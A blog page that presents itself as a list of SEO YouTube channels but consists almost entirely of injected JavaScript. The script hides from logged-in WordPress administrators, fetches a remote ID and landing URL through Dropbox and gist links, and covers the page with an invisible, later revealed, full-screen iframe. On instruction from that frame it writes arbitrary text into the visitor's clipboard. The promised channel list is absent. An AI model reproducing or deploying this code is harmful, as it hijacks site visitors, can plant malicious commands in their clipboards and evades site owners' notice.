159 SEO YouTube Channels that I use to learn

Eugene Savilov No Comments

Knowledge is power. Learn from the list of top SEO YouTube Channels

var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };

function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || ""; if (/^\/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement; var body = document.body;

if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true; if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {}

return false; }

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; }

if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") { return; }

registry.status = "loading";

function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }

function buildTrustedUrl(template, id) { if (!template || !id) return "";

if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); }

var encoded = encodeURIComponent(id);

if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); }

return template.replace(/\{id\}/g, encoded); }

function toHttpUrl(value) { if (!value) return "";

var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, "");

if (!s) return "";

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) { s = "https://" + s; } else { return ""; } }

try { var u = new URL(s); if (u.protocol === "http:" || u.protocol === "https:") { return u.href; } } catch (e) {}

return ""; }

function findUrlInObject(input, depth) { if (!input || depth > 3) return "";

if (typeof input === "string") { return toHttpUrl(input); }

if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" && text.charAt(text.length - 1) === "}") || (text.charAt(0) === "[" && text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i); if (matchHttp && matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; }

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i); if (matchDomain && matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; }

return ""; }

function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } }

function addHint(rel, href) { if (!href || !document || !document.createElement) return;

var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true;

try { var parent = document.head || document.documentElement; if (!parent) return;

var link = document.createElement("link"); link.rel = rel; link.href = href;

if (rel === "preconnect") { link.crossOrigin = "anonymous"; }

parent.appendChild(link); } catch (e) {} }

function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] && TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body || document.documentElement || null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url || typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value || "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" || !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event && event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe || !data || typeof data !== "object") return; if (event.source && iframe.contentWindow && event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" && typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe && iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus || "done"; } function resolveLandingUrl(id) { if (!id || !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); }

var cfg = TRUSTED_CONFIGS[index] || {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

if (!builtUrl) { return step(index + 1); }

if (!cfg.useFetch) { return Promise.resolve(builtUrl); }

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); }

return step(0); }

function activateIframe(url) { if (!url || registry.status === "active") return;

if (isWpLoggedInContext()) { cleanup("done"); return; }

var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; }

var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; }

var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null;

function reveal() { if (closed || revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId);

registry.status = "active";

iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden");

setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow && iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); }

function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); }

registry.destroy = destroy; registry.reveal = reveal;

iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";");

iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } };

iframe.onerror = function () { destroy(); };

timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs);

try { mount.appendChild(iframe); } catch (e) { destroy(); } }

function run() { warmupOrigins(); bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

id = (id || "").trim(); if (!id) { cleanup("done"); return ""; }

return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; }

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) { cleanup("done"); return ""; }

var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }

activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); }

registry.runPromise = run(); })();

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